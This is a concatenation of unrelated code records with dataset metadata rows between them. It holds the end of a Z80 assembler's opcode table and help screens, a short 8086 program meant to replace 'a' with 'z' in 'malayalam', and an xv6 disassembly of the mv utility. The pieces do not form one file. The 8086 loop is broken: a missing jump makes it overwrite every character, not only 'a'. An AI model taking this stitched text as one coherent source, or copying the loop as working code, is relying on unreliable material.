DEFB 20,16,0,227
DEFM "IN"
DEFB 255,2
DEFB 11,5,0,219
DEFB 10,21,237,64
DEFM "OUT"
DEFB 255,2
DEFB 5,11,0,211
DEFB 21,10,237,65
DEFM "INI"
DEFB 255,1
DEFB 0,0,237,162
DEFM "OUTI"
DEFB 255,1
DEFB 0,0,237,163
DEFM "IND"
DEFB 255,1
DEFB 0,0,237,170
DEFM "OUTD"
DEFB 255,1
DEFB 0,0,237,171
DEFM "INIR"
DEFB 255,1
DEFB 0,0,237,178
DEFM "OTIR"
DEFB 255,1
DEFB 0,0,237,179
DEFM "INDR"
DEFB 255,1
DEFB 0,0,237,186
DEFM "OTDR"
DEFB 255,1
DEFB 0,0,237,187
DEFM "RRD"
DEFB 255,1
DEFB 0,0,237,103
DEFM "RLD"
DEFB 255,1
DEFB 0,0,237,111
DEFM "IM0"
DEFB 255,1
DEFB 0,0,237,70
DEFM "IM1"
DEFB 255,1
DEFB 0,0,237,86
DEFM "IM2"
DEFB 255,1
DEFB 0,0,237,94
DEFM "DAA"
DEFB 255,1
DEFB 0,0,0,39
DEFM "CPL"
DEFB 255,1
DEFB 0,0,0,47
DEFM "NEG"
DEFB 255,1
DEFB 0,0,237,68
DEFM "EI"
DEFB 255,1
DEFB 0,0,0,251
DEFM "DI"
DEFB 255,1
DEFB 0,0,0,243
DEFM "HALT"
DEFB 255,1
DEFB 0,0,0,118
DEFM "RETN"
DEFB 255,1
DEFB 0,0,237,69
DEFM "RETI"
DEFB 255,1
DEFB 0,0,237,77
DEFM "RETE"
DEFB 255,1
DEFB 0,0,237,85
DEFM "SLL"
DEFB 255,1
DEFB 10,0,203,48
DEFM "NOP"
DEFB 255,1
DEFB 0,0,0,0
DEFB 255
EJECUT CALL COPPAG
LD HL,INICI0
PUSH HL
LD HL,EJEINI
LD D,H
LD E,L
LD BC,16384
LD A,17
EX AF,AF'
LD A,20
LD (PAGNOR+1),A
CALL SLDIR
LD A,17
LD (PAGNOR+1),A
JP ILDAHL
STRHLP DEFM " COMMAND LINE OPT"
DEFM "S#####"
DEFM " A Assemble# B Go"
DEFM "to Basic# C Calcu"
DEFM "late Expression#"
DEFM " D Go to Monitor/"
DEFM "Disassembler#"
DEFM " E Go to Editor#"
DEFM " F Modify Date#"
DEFM " G n Set Tex"
DEFM "t Block in use# I"
DEFM " General Informac"
DEFM "ion# L Load Sourc"
DEFM "e Code# N New blo"
DEFM "ck of Text#"
DEFM " O Save Object Co"
DEFM "de# S Save Source"
DEFM " Code# "
DEFM "T Show Symbol Tab"
DEFM "le# Z DELETE"
DEFM " Source Code!!!"
DEFB 255
DEFM " EDITOR#EXTENDED "
DEFM "mode:# A Page Dow"
DEFM "n# B Delete Block"
DEFM "# C Copy Block"
DEFM "# D Symbol Search"
DEFM "# E - from start#"
DEFM " F Search Text# G"
DEFM " - from start#"
DEFM " I Insert Mode on"
DEFM "/off# J Next Symb"
DEFM "ol# K Calculate E"
DEFM "xpression# L Goto"
DEFM " Line# "
DEFM "N Find Next Text#"
DEFM " P Mark Block Sta"
DEFM "rt# Q PAge up# U "
DEFM "End of Block# V "
DEFM "Paste Block# X C"
DEFM "ut Block# Z R"
DEFM "estore Line#Norma"
DEFM "l mode:# SS+D Del"
DEFM "ete Line# SS+I In"
DEFM "sert line# SS+Q "
DEFM "Exit Editor "
DEFB 255
DEFM " MONITOR/DISSASM#"
DEFM "# C Calculate Exp"
DEFM "ression# $ Disass"
DEFM "emble#SS+D Read "
DEFM "debug data yes/no"
DEFM "# E Assemble i"
DEFM "nstruction# I Ins"
DEFM "ert bytes#SS+K Ex"
DEFM "ecute# L"
DEFM " List in Hex and "
DEFM "ASCII# M Change M"
DEFM "emory Pointer#SS+"
DEFM "N Set PC with ME#"
DEFM "SS+Q Exit to Comm"
DEFM "and# R Modify Re"
DEFM "gister (RR=XXXX)#"
DEFM " S Show Screen#SS"
DEFM "+S Configure "
DEFM "screen#(0"
DEFM "0:None 1:Symbol "
DEFM "2:Debug)#SS+T Bre"
DEFM "akpoint after ins"
DEFM "truc.# W Set B"
DEFM "reakpoint#SS+Z Si"
DEFM "ngle Step#SS+3 Nu"
DEFM "mbers Hex/Decimal"
DEFM "##EDIT/ENTER ME"
DEFM "-+1 Byte#Cursor L"
DEFM "eft/Right ME-+8 B"
DEFM "ytes#Cursor Up/Do"
DEFM "wn. ME-+1 Instruc"
DEFM "."
DEFB 255
| 18.295382
| 82
| 0.439775
|
dbff1d075a46a12021665f910975377c5d016bb6
| 213
|
asm
|
Assembly
|
SourceCode/replacingAWithZ.asm
|
Nuthi-Sriram/Assembly-Level-Code-for-8086
|
616b651c913863d6151ae49f409762fe5d707b74
|
[
"MIT"
] | null | null | null |
SourceCode/replacingAWithZ.asm
|
Nuthi-Sriram/Assembly-Level-Code-for-8086
|
616b651c913863d6151ae49f409762fe5d707b74
|
[
"MIT"
] | null | null | null |
SourceCode/replacingAWithZ.asm
|
Nuthi-Sriram/Assembly-Level-Code-for-8086
|
616b651c913863d6151ae49f409762fe5d707b74
|
[
"MIT"
] | null | null | null |
.model small
.stack
.data
str db "malayalam$"
.code
.startup
mov si, offset str
replace:cmp [si], '$'
jz exit
cmp [si],'a'
jz change
inc si
change:mov [si],'z'
inc si
jmp replace
exit:
.exit
end
| 11.833333
| 22
| 0.624413
|
c563a639f763570308f3394249a21017ee8538f7
| 61,899
|
asm
|
Assembly
|
mv.asm
|
adrianna157/CS444-Lab5-Mutexes
|
a6d4d67cae45b5f37ce4b26d17636659d9e5b58b
|
[
"MIT-0"
] | null | null | null |
mv.asm
|
adrianna157/CS444-Lab5-Mutexes
|
a6d4d67cae45b5f37ce4b26d17636659d9e5b58b
|
[
"MIT-0"
] | null | null | null |
mv.asm
|
adrianna157/CS444-Lab5-Mutexes
|
a6d4d67cae45b5f37ce4b26d17636659d9e5b58b
|
[
"MIT-0"
] | null | null | null |
_mv: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
int mv(char *, char *);
int
main(int argc, char *argv[])
{
0: 55 push %ebp
int i = 0;
int res = -1;
char *src = NULL;
char *dest = NULL;
struct stat st;
char dirstr[DIRSTR] = {0};
1: 31 c0 xor %eax,%eax
{
3: 89 e5 mov %esp,%ebp
char dirstr[DIRSTR] = {0};
5: b9 20 00 00 00 mov $0x20,%ecx
{
a: 57 push %edi
b: 56 push %esi
c: 53 push %ebx
d: 83 e4 f0 and $0xfffffff0,%esp
10: 81 ec c0 00 00 00 sub $0xc0,%esp
16: 8b 75 0c mov 0xc(%ebp),%esi
if (argc < 3) {
19: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
char dirstr[DIRSTR] = {0};
1d: 8d 5c 24 40 lea 0x40(%esp),%ebx
21: 89 df mov %ebx,%edi
23: f3 ab rep stos %eax,%es:(%edi)
if (argc < 3) {
25: 7f 19 jg 40 <main+0x40>
printf(2, "must have at least 2 arguments\n");
27: c7 44 24 04 a0 0b 00 movl $0xba0,0x4(%esp)
2e: 00
2f: c7 04 24 02 00 00 00 movl $0x2,(%esp)
36: e8 45 05 00 00 call 580 <printf>
exit();
3b: e8 92 03 00 00 call 3d2 <exit>
}
src = argv[1];
dest = argv[argc - 1];
40: 8b 45 08 mov 0x8(%ebp),%eax
src = argv[1];
43: 8b 7e 04 mov 0x4(%esi),%edi
dest = argv[argc - 1];
46: 8b 44 86 fc mov -0x4(%esi,%eax,4),%eax
4a: 89 c1 mov %eax,%ecx
4c: 89 44 24 18 mov %eax,0x18(%esp)
// mv f1 f2 f3 dest
res = stat(dest, &st);
50: 8d 44 24 2c lea 0x2c(%esp),%eax
54: 89 44 24 04 mov %eax,0x4(%esp)
58: 89 0c 24 mov %ecx,(%esp)
5b: e8 c0 02 00 00 call 320 <stat>
if (res < 0) {
60: 85 c0 test %eax,%eax
62: 78 44 js a8 <main+0xa8>
mv(src, dest);
}
else {
switch (st.type) {
64: 0f b7 44 24 2c movzwl 0x2c(%esp),%eax
69: 66 83 f8 01 cmp $0x1,%ax
6d: 74 4b je ba <main+0xba>
6f: 66 83 f8 02 cmp $0x2,%ax
73: 74 19 je 8e <main+0x8e>
strcpy(&(dirstr[strlen(dirstr)]), argv[i]);
mv(argv[i], dirstr);
}
break;
default:
printf(2, "cannot rename to an existing device\n");
75: c7 44 24 04 c0 0b 00 movl $0xbc0,0x4(%esp)
7c: 00
7d: c7 04 24 02 00 00 00 movl $0x2,(%esp)
84: e8 f7 04 00 00 call 580 <printf>
break;
}
}
exit();
89: e8 44 03 00 00 call 3d2 <exit>
unlink(dest);
8e: 8b 74 24 18 mov 0x18(%esp),%esi
92: 89 34 24 mov %esi,(%esp)
95: e8 88 03 00 00 call 422 <unlink>
mv(src, dest);
9a: 89 74 24 04 mov %esi,0x4(%esp)
9e: 89 3c 24 mov %edi,(%esp)
a1: e8 aa 00 00 00 call 150 <mv>
break;
a6: eb e1 jmp 89 <main+0x89>
mv(src, dest);
a8: 8b 44 24 18 mov 0x18(%esp),%eax
ac: 89 3c 24 mov %edi,(%esp)
af: 89 44 24 04 mov %eax,0x4(%esp)
b3: e8 98 00 00 00 call 150 <mv>
b8: eb cf jmp 89 <main+0x89>
ba: 8b 45 08 mov 0x8(%ebp),%eax
switch (st.type) {
bd: bf 01 00 00 00 mov $0x1,%edi
c2: 83 e8 01 sub $0x1,%eax
c5: 89 44 24 14 mov %eax,0x14(%esp)
c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
memset(dirstr, 0, DIRSTR);
d0: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
d7: 00
d8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
df: 00
e0: 89 1c 24 mov %ebx,(%esp)
e3: e8 78 01 00 00 call 260 <memset>
strcpy(dirstr, dest);
e8: 8b 44 24 18 mov 0x18(%esp),%eax
ec: 89 1c 24 mov %ebx,(%esp)
ef: 89 44 24 04 mov %eax,0x4(%esp)
f3: e8 b8 00 00 00 call 1b0 <strcpy>
dirstr[strlen(dirstr)] = '/';
f8: 89 1c 24 mov %ebx,(%esp)
fb: e8 30 01 00 00 call 230 <strlen>
strcpy(&(dirstr[strlen(dirstr)]), argv[i]);
100: 8b 14 be mov (%esi,%edi,4),%edx
103: 89 54 24 1c mov %edx,0x1c(%esp)
dirstr[strlen(dirstr)] = '/';
107: c6 44 04 40 2f movb $0x2f,0x40(%esp,%eax,1)
strcpy(&(dirstr[strlen(dirstr)]), argv[i]);
10c: 89 1c 24 mov %ebx,(%esp)
10f: e8 1c 01 00 00 call 230 <strlen>
114: 8b 54 24 1c mov 0x1c(%esp),%edx
118: 89 54 24 04 mov %edx,0x4(%esp)
11c: 01 d8 add %ebx,%eax
11e: 89 04 24 mov %eax,(%esp)
121: e8 8a 00 00 00 call 1b0 <strcpy>
mv(argv[i], dirstr);
126: 89 5c 24 04 mov %ebx,0x4(%esp)
12a: 8b 04 be mov (%esi,%edi,4),%eax
for (i = 1; i < (argc - 1); i++) {
12d: 83 c7 01 add $0x1,%edi
mv(argv[i], dirstr);
130: 89 04 24 mov %eax,(%esp)
133: e8 18 00 00 00 call 150 <mv>
for (i = 1; i < (argc - 1); i++) {
138: 3b 7c 24 14 cmp 0x14(%esp),%edi
13c: 75 92 jne d0 <main+0xd0>
13e: e9 46 ff ff ff jmp 89 <main+0x89>
143: 66 90 xchg %ax,%ax
145: 66 90 xchg %ax,%ax
147: 66 90 xchg %ax,%ax
149: 66 90 xchg %ax,%ax
14b: 66 90 xchg %ax,%ax
14d: 66 90 xchg %ax,%ax
14f: 90 nop
00000150 <mv>:
}
int
mv(char *src, char *dest)
{
150: 55 push %ebp
151: 89 e5 mov %esp,%ebp
153: 56 push %esi
154: 53 push %ebx
155: 83 ec 10 sub $0x10,%esp
158: 8b 5d 08 mov 0x8(%ebp),%ebx
15b: 8b 75 0c mov 0xc(%ebp),%esi
int res = -1;
if (link(src, dest) < 0) {
15e: 89 1c 24 mov %ebx,(%esp)
161: 89 74 24 04 mov %esi,0x4(%esp)
165: e8 c8 02 00 00 call 432 <link>
16a: 85 c0 test %eax,%eax
16c: 78 1a js 188 <mv+0x38>
printf(2, "mv %s %s: failed\n", src, dest);
}
else {
if (unlink(src) < 0) {
16e: 89 1c 24 mov %ebx,(%esp)
171: e8 ac 02 00 00 call 422 <unlink>
176: 85 c0 test %eax,%eax
178: 78 0e js 188 <mv+0x38>
printf(2, "mv %s %s: failed\n", src, dest);
}
else {
res = 0;
17a: 31 c0 xor %eax,%eax
}
}
return res;
}
17c: 83 c4 10 add $0x10,%esp
17f: 5b pop %ebx
180: 5e pop %esi
181: 5d pop %ebp
182: c3 ret
183: 90 nop
184: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(2, "mv %s %s: failed\n", src, dest);
188: 89 74 24 0c mov %esi,0xc(%esp)
18c: 89 5c 24 08 mov %ebx,0x8(%esp)
190: c7 44 24 04 8c 0b 00 movl $0xb8c,0x4(%esp)
197: 00
198: c7 04 24 02 00 00 00 movl $0x2,(%esp)
19f: e8 dc 03 00 00 call 580 <printf>
int res = -1;
1a4: b8 ff ff ff ff mov $0xffffffff,%eax
1a9: eb d1 jmp 17c <mv+0x2c>
1ab: 66 90 xchg %ax,%ax
1ad: 66 90 xchg %ax,%ax
1af: 90 nop
000001b0 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
1b0: 55 push %ebp
1b1: 89 e5 mov %esp,%ebp
1b3: 8b 45 08 mov 0x8(%ebp),%eax
1b6: 8b 4d 0c mov 0xc(%ebp),%ecx
1b9: 53 push %ebx
char *os;
os = s;
while((*s++ = *t++) != 0)
1ba: 89 c2 mov %eax,%edx
1bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1c0: 83 c1 01 add $0x1,%ecx
1c3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
1c7: 83 c2 01 add $0x1,%edx
1ca: 84 db test %bl,%bl
1cc: 88 5a ff mov %bl,-0x1(%edx)
1cf: 75 ef jne 1c0 <strcpy+0x10>
;
return os;
}
1d1: 5b pop %ebx
1d2: 5d pop %ebp
1d3: c3 ret
1d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000001e0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
1e0: 55 push %ebp
1e1: 89 e5 mov %esp,%ebp
1e3: 8b 55 08 mov 0x8(%ebp),%edx
1e6: 53 push %ebx
1e7: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
1ea: 0f b6 02 movzbl (%edx),%eax
1ed: 84 c0 test %al,%al
1ef: 74 2d je 21e <strcmp+0x3e>
1f1: 0f b6 19 movzbl (%ecx),%ebx
1f4: 38 d8 cmp %bl,%al
1f6: 74 0e je 206 <strcmp+0x26>
1f8: eb 2b jmp 225 <strcmp+0x45>
1fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
200: 38 c8 cmp %cl,%al
202: 75 15 jne 219 <strcmp+0x39>
p++, q++;
204: 89 d9 mov %ebx,%ecx
206: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
209: 0f b6 02 movzbl (%edx),%eax
p++, q++;
20c: 8d 59 01 lea 0x1(%ecx),%ebx
while(*p && *p == *q)
20f: 0f b6 49 01 movzbl 0x1(%ecx),%ecx
213: 84 c0 test %al,%al
215: 75 e9 jne 200 <strcmp+0x20>
217: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
219: 29 c8 sub %ecx,%eax
}
21b: 5b pop %ebx
21c: 5d pop %ebp
21d: c3 ret
21e: 0f b6 09 movzbl (%ecx),%ecx
while(*p && *p == *q)
221: 31 c0 xor %eax,%eax
223: eb f4 jmp 219 <strcmp+0x39>
225: 0f b6 cb movzbl %bl,%ecx
228: eb ef jmp 219 <strcmp+0x39>
22a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000230 <strlen>:
uint
strlen(const char *s)
{
230: 55 push %ebp
231: 89 e5 mov %esp,%ebp
233: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
236: 80 39 00 cmpb $0x0,(%ecx)
239: 74 12 je 24d <strlen+0x1d>
23b: 31 d2 xor %edx,%edx
23d: 8d 76 00 lea 0x0(%esi),%esi
240: 83 c2 01 add $0x1,%edx
243: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
247: 89 d0 mov %edx,%eax
249: 75 f5 jne 240 <strlen+0x10>
;
return n;
}
24b: 5d pop %ebp
24c: c3 ret
for(n = 0; s[n]; n++)
24d: 31 c0 xor %eax,%eax
}
24f: 5d pop %ebp
250: c3 ret
251: eb 0d jmp 260 <memset>
253: 90 nop
254: 90 nop
255: 90 nop
256: 90 nop
257: 90 nop
258: 90 nop
259: 90 nop
25a: 90 nop
25b: 90 nop
25c: 90 nop
25d: 90 nop
25e: 90 nop
25f: 90 nop
00000260 <memset>:
void*
memset(void *dst, int c, uint n)
{
260: 55 push %ebp
261: 89 e5 mov %esp,%ebp
263: 8b 55 08 mov 0x8(%ebp),%edx
266: 57 push %edi
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
267: 8b 4d 10 mov 0x10(%ebp),%ecx
26a: 8b 45 0c mov 0xc(%ebp),%eax
26d: 89 d7 mov %edx,%edi
26f: fc cld
270: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
272: 89 d0 mov %edx,%eax
274: 5f pop %edi
275: 5d pop %ebp
276: c3 ret
277: 89 f6 mov %esi,%esi
279: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000280 <strchr>:
char*
strchr(const char *s, char c)
{
280: 55 push %ebp
281: 89 e5 mov %esp,%ebp
283: 8b 45 08 mov 0x8(%ebp),%eax
286: 53 push %ebx
287: 8b 55 0c mov 0xc(%ebp),%edx
for(; *s; s++)
28a: 0f b6 18 movzbl (%eax),%ebx
28d: 84 db test %bl,%bl
28f: 74 1d je 2ae <strchr+0x2e>
if(*s == c)
291: 38 d3 cmp %dl,%bl
293: 89 d1 mov %edx,%ecx
295: 75 0d jne 2a4 <strchr+0x24>
297: eb 17 jmp 2b0 <strchr+0x30>
299: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
2a0: 38 ca cmp %cl,%dl
2a2: 74 0c je 2b0 <strchr+0x30>
for(; *s; s++)
2a4: 83 c0 01 add $0x1,%eax
2a7: 0f b6 10 movzbl (%eax),%edx
2aa: 84 d2 test %dl,%dl
2ac: 75 f2 jne 2a0 <strchr+0x20>
return (char*)s;
return 0;
2ae: 31 c0 xor %eax,%eax
}
2b0: 5b pop %ebx
2b1: 5d pop %ebp
2b2: c3 ret
2b3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
2b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002c0 <gets>:
char*
gets(char *buf, int max)
{
2c0: 55 push %ebp
2c1: 89 e5 mov %esp,%ebp
2c3: 57 push %edi
2c4: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
2c5: 31 f6 xor %esi,%esi
{
2c7: 53 push %ebx
2c8: 83 ec 2c sub $0x2c,%esp
cc = read(0, &c, 1);
2cb: 8d 7d e7 lea -0x19(%ebp),%edi
for(i=0; i+1 < max; ){
2ce: eb 31 jmp 301 <gets+0x41>
cc = read(0, &c, 1);
2d0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
2d7: 00
2d8: 89 7c 24 04 mov %edi,0x4(%esp)
2dc: c7 04 24 00 00 00 00 movl $0x0,(%esp)
2e3: e8 02 01 00 00 call 3ea <read>
if(cc < 1)
2e8: 85 c0 test %eax,%eax
2ea: 7e 1d jle 309 <gets+0x49>
break;
buf[i++] = c;
2ec: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
for(i=0; i+1 < max; ){
2f0: 89 de mov %ebx,%esi
buf[i++] = c;
2f2: 8b 55 08 mov 0x8(%ebp),%edx
if(c == '\n' || c == '\r')
2f5: 3c 0d cmp $0xd,%al
buf[i++] = c;
2f7: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
2fb: 74 0c je 309 <gets+0x49>
2fd: 3c 0a cmp $0xa,%al
2ff: 74 08 je 309 <gets+0x49>
for(i=0; i+1 < max; ){
301: 8d 5e 01 lea 0x1(%esi),%ebx
304: 3b 5d 0c cmp 0xc(%ebp),%ebx
307: 7c c7 jl 2d0 <gets+0x10>
break;
}
buf[i] = '\0';
309: 8b 45 08 mov 0x8(%ebp),%eax
30c: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
310: 83 c4 2c add $0x2c,%esp
313: 5b pop %ebx
314: 5e pop %esi
315: 5f pop %edi
316: 5d pop %ebp
317: c3 ret
318: 90 nop
319: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000320 <stat>:
int
stat(const char *n, struct stat *st)
{
320: 55 push %ebp
321: 89 e5 mov %esp,%ebp
323: 56 push %esi
324: 53 push %ebx
325: 83 ec 10 sub $0x10,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
328: 8b 45 08 mov 0x8(%ebp),%eax
32b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
332: 00
333: 89 04 24 mov %eax,(%esp)
336: e8 d7 00 00 00 call 412 <open>
if(fd < 0)
33b: 85 c0 test %eax,%eax
fd = open(n, O_RDONLY);
33d: 89 c3 mov %eax,%ebx
if(fd < 0)
33f: 78 27 js 368 <stat+0x48>
return -1;
r = fstat(fd, st);
341: 8b 45 0c mov 0xc(%ebp),%eax
344: 89 1c 24 mov %ebx,(%esp)
347: 89 44 24 04 mov %eax,0x4(%esp)
34b: e8 da 00 00 00 call 42a <fstat>
close(fd);
350: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
353: 89 c6 mov %eax,%esi
close(fd);
355: e8 a0 00 00 00 call 3fa <close>
return r;
35a: 89 f0 mov %esi,%eax
}
35c: 83 c4 10 add $0x10,%esp
35f: 5b pop %ebx
360: 5e pop %esi
361: 5d pop %ebp
362: c3 ret
363: 90 nop
364: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
368: b8 ff ff ff ff mov $0xffffffff,%eax
36d: eb ed jmp 35c <stat+0x3c>
36f: 90 nop
00000370 <atoi>:
int
atoi(const char *s)
{
370: 55 push %ebp
371: 89 e5 mov %esp,%ebp
373: 8b 4d 08 mov 0x8(%ebp),%ecx
376: 53 push %ebx
int n;
n = 0;
while('0' <= *s && *s <= '9')
377: 0f be 11 movsbl (%ecx),%edx
37a: 8d 42 d0 lea -0x30(%edx),%eax
37d: 3c 09 cmp $0x9,%al
n = 0;
37f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
384: 77 17 ja 39d <atoi+0x2d>
386: 66 90 xchg %ax,%ax
n = n*10 + *s++ - '0';
388: 83 c1 01 add $0x1,%ecx
38b: 8d 04 80 lea (%eax,%eax,4),%eax
38e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
392: 0f be 11 movsbl (%ecx),%edx
395: 8d 5a d0 lea -0x30(%edx),%ebx
398: 80 fb 09 cmp $0x9,%bl
39b: 76 eb jbe 388 <atoi+0x18>
return n;
}
39d: 5b pop %ebx
39e: 5d pop %ebp
39f: c3 ret
000003a0 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
3a0: 55 push %ebp
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
3a1: 31 d2 xor %edx,%edx
{
3a3: 89 e5 mov %esp,%ebp
3a5: 56 push %esi
3a6: 8b 45 08 mov 0x8(%ebp),%eax
3a9: 53 push %ebx
3aa: 8b 5d 10 mov 0x10(%ebp),%ebx
3ad: 8b 75 0c mov 0xc(%ebp),%esi
while(n-- > 0)
3b0: 85 db test %ebx,%ebx
3b2: 7e 12 jle 3c6 <memmove+0x26>
3b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
3b8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
3bc: 88 0c 10 mov %cl,(%eax,%edx,1)
3bf: 83 c2 01 add $0x1,%edx
while(n-- > 0)
3c2: 39 da cmp %ebx,%edx
3c4: 75 f2 jne 3b8 <memmove+0x18>
return vdst;
}
3c6: 5b pop %ebx
3c7: 5e pop %esi
3c8: 5d pop %ebp
3c9: c3 ret
000003ca <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
3ca: b8 01 00 00 00 mov $0x1,%eax
3cf: cd 40 int $0x40
3d1: c3 ret
000003d2 <exit>:
SYSCALL(exit)
3d2: b8 02 00 00 00 mov $0x2,%eax
3d7: cd 40 int $0x40
3d9: c3 ret
000003da <wait>:
SYSCALL(wait)
3da: b8 03 00 00 00 mov $0x3,%eax
3df: cd 40 int $0x40
3e1: c3 ret
000003e2 <pipe>:
SYSCALL(pipe)
3e2: b8 04 00 00 00 mov $0x4,%eax
3e7: cd 40 int $0x40
3e9: c3 ret
000003ea <read>:
SYSCALL(read)
3ea: b8 05 00 00 00 mov $0x5,%eax
3ef: cd 40 int $0x40
3f1: c3 ret
000003f2 <write>:
SYSCALL(write)
3f2: b8 10 00 00 00 mov $0x10,%eax
3f7: cd 40 int $0x40
3f9: c3 ret
000003fa <close>:
SYSCALL(close)
3fa: b8 15 00 00 00 mov $0x15,%eax
3ff: cd 40 int $0x40
401: c3 ret
00000402 <kill>:
SYSCALL(kill)
402: b8 06 00 00 00 mov $0x6,%eax
407: cd 40 int $0x40
409: c3 ret
0000040a <exec>:
SYSCALL(exec)
40a: b8 07 00 00 00 mov $0x7,%eax
40f: cd 40 int $0x40
411: c3 ret
00000412 <open>:
SYSCALL(open)
412: b8 0f 00 00 00 mov $0xf,%eax
417: cd 40 int $0x40
419: c3 ret
0000041a <mknod>:
SYSCALL(mknod)
41a: b8 11 00 00 00 mov $0x11,%eax
41f: cd 40 int $0x40
421: c3 ret
00000422 <unlink>:
SYSCALL(unlink)
422: b8 12 00 00 00 mov $0x12,%eax
427: cd 40 int $0x40
429: c3 ret
0000042a <fstat>:
SYSCALL(fstat)
42a: b8 08 00 00 00 mov $0x8,%eax
42f: cd 40 int $0x40
431: c3 ret
00000432 <link>:
SYSCALL(link)
432: b8 13 00 00 00 mov $0x13,%eax
437: cd 40 int $0x40
439: c3 ret
0000043a <mkdir>:
SYSCALL(mkdir)
43a: b8 14 00 00 00 mov $0x14,%eax
43f: cd 40 int $0x40
441: c3 ret
00000442 <chdir>:
SYSCALL(chdir)
442: b8 09 00 00 00 mov $0x9,%eax
447: cd 40 int $0x40
449: c3 ret
0000044a <dup>:
SYSCALL(dup)
44a: b8 0a 00 00 00 mov $0xa,%eax
44f: cd 40 int $0x40
451: c3 ret
00000452 <getpid>:
SYSCALL(getpid)
452: b8 0b 00 00 00 mov $0xb,%eax
457: cd 40 int $0x40
459: c3 ret
0000045a <sbrk>:
SYSCALL(sbrk)
45a: b8 0c 00 00 00 mov $0xc,%eax
45f: cd 40 int $0x40
461: c3 ret
00000462 <sleep>:
SYSCALL(sleep)
462: b8 0d 00 00 00 mov $0xd,%eax
467: cd 40 int $0x40
469: c3 ret
0000046a <uptime>:
SYSCALL(uptime)
46a: b8 0e 00 00 00 mov $0xe,%eax
46f: cd 40 int $0x40
471: c3 ret
00000472 <getppid>:
#ifdef GETPPID
SYSCALL(getppid)
472: b8 16 00 00 00 mov $0x16,%eax
477: cd 40 int $0x40
479: c3 ret
0000047a <cps>:
#endif // GETPPID
#ifdef CPS
SYSCALL(cps)
47a: b8 17 00 00 00 mov $0x17,%eax
47f: cd 40 int $0x40
481: c3 ret
00000482 <halt>:
#endif // CPS
#ifdef HALT
SYSCALL(halt)
482: b8 18 00 00 00 mov $0x18,%eax
487: cd 40 int $0x40
489: c3 ret
0000048a <kdebug>:
#endif // HALT
#ifdef KDEBUG
SYSCALL(kdebug)
48a: b8 19 00 00 00 mov $0x19,%eax
48f: cd 40 int $0x40
491: c3 ret
00000492 <va2pa>:
#endif // KDEBUG
#ifdef VA2PA
SYSCALL(va2pa)
492: b8 1a 00 00 00 mov $0x1a,%eax
497: cd 40 int $0x40
499: c3 ret
0000049a <kthread_create>:
#endif // VA2PA
#ifdef KTHREADS
SYSCALL(kthread_create)
49a: b8 1b 00 00 00 mov $0x1b,%eax
49f: cd 40 int $0x40
4a1: c3 ret
000004a2 <kthread_join>:
SYSCALL(kthread_join)
4a2: b8 1c 00 00 00 mov $0x1c,%eax
4a7: cd 40 int $0x40
4a9: c3 ret
000004aa <kthread_exit>:
SYSCALL(kthread_exit)
4aa: b8 1d 00 00 00 mov $0x1d,%eax
4af: cd 40 int $0x40
4b1: c3 ret
000004b2 <kthread_self>:
#endif // KTHREADS
#ifdef BENNY_MOOTEX
SYSCALL(kthread_self)
4b2: b8 1e 00 00 00 mov $0x1e,%eax
4b7: cd 40 int $0x40
4b9: c3 ret
000004ba <kthread_yield>:
SYSCALL(kthread_yield)
4ba: b8 1f 00 00 00 mov $0x1f,%eax
4bf: cd 40 int $0x40
4c1: c3 ret
000004c2 <kthread_cpu_count>:
SYSCALL(kthread_cpu_count)
4c2: b8 20 00 00 00 mov $0x20,%eax
4c7: cd 40 int $0x40
4c9: c3 ret
000004ca <kthread_thread_count>:
SYSCALL(kthread_thread_count)
4ca: b8 21 00 00 00 mov $0x21,%eax
4cf: cd 40 int $0x40
4d1: c3 ret
4d2: 66 90 xchg %ax,%ax
4d4: 66 90 xchg %ax,%ax
